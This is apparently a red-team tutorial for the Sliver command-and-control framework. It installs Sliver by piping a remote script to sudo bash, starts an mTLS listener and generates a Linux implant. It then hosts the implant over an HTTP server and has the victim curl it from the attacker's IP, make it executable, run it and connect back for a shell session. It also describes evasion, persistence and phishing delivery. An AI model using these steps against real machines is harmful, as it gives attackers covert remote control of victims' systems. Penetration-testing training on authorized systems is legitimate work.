Sliver is an Open-Source Command and Control (C2) framework often used in penetration testing and red team operations. It offers robust features to deploy, manage, and interact with listener agents and payloads.

Installation of Sliver

Requirement for Sliver C2 is linux OS

Sliver Installation

1
curl https://sliver.sh/install | sudo bash

Running Sliver

1
sliver

If Sliver process either hangs or inaccessable due to previous usage, use this command to restart you sliver process

1
sudo systemctl restart sliver

If you the issue persists, you can just use these 2 commands hand in hand

1
2
sudo systemctl start sliver.service
sliver

Before we continue application, we need a brief understanding of listeners, agents and payloads

A listener is a component that waits for incoming connections from compromised systems (agents). It acts as the communication channel between the operator and the agents.

Purpose: Facilitates secure communication between the attacker and compromised systems.

Common Protocols:

  • HTTP/S
  • DNS
  • TCP
  • Mutual TLS (mTLS)

An agent is a piece of code executed on the target machine after exploitation, establishing a connection back to the listener.

Purpose: Executes commands, retrieves data, and maintains persistence on the target.

Features:

  • Cross-platform support (Windows, Linux, macOS).
  • Configurable to evade detection (e.g., encoding or encryption).
  • Capable of dynamic command execution and lateral movement.

A payload is the executable code delivered to the target system to deploy the agent.

Purpose: Bridges the gap between exploitation and establishing control over the system.

Types of Payloads:

  • Staged: The payload downloads additional components (agent) after initial execution.
  • Stageless: The entire agent is contained within the payload, avoiding extra network activity.

Delivery Methods:

  • Standalone executables.
  • Memory injection.
  • Script-based (PowerShell, Bash).
  • Embedded in phishing documents or exploit kits.

Application of Sliver

Create a listener, this will be used to receive commands from agents

1
2
mtls
jobs

Jobs will show what your current machine is listening for by ports or IPs

Now you would need to create your payload to be sent to the victim

1
2
generate --mtls <LHOST_IP> --save /tmp --skip-symbols --os linux
LHOST_IP being your IP/Listener

There are many ways to share your payload, however for this example we will be using a http server to host our agents. Go to a New Tab

1
2
cd /tmp
python3 -m http.server 8000

The file is now hosted on the LHOST_IP at port 8000, we should now download and run the agent on the endpoint (target). We will be using curl cuz yes

1
2
3
4
5
6
7
curl -O http://<LHOST_IP>:<LHOST_PORT>/SESSION
curl -O http://192.168.1.128:8000/RESIDENT_TUGBOAT

ls -l

chmod +x SESSION
./SESSION

Now that it has ran, we check and use the session if sliver heard it.

1
2
3
sessions

use sessions

Use help for more information on what can be done during a session & then shell

1
2
help
shell (not good practice)

Congrats you have successfully installed an agent that connects to your C2 Server.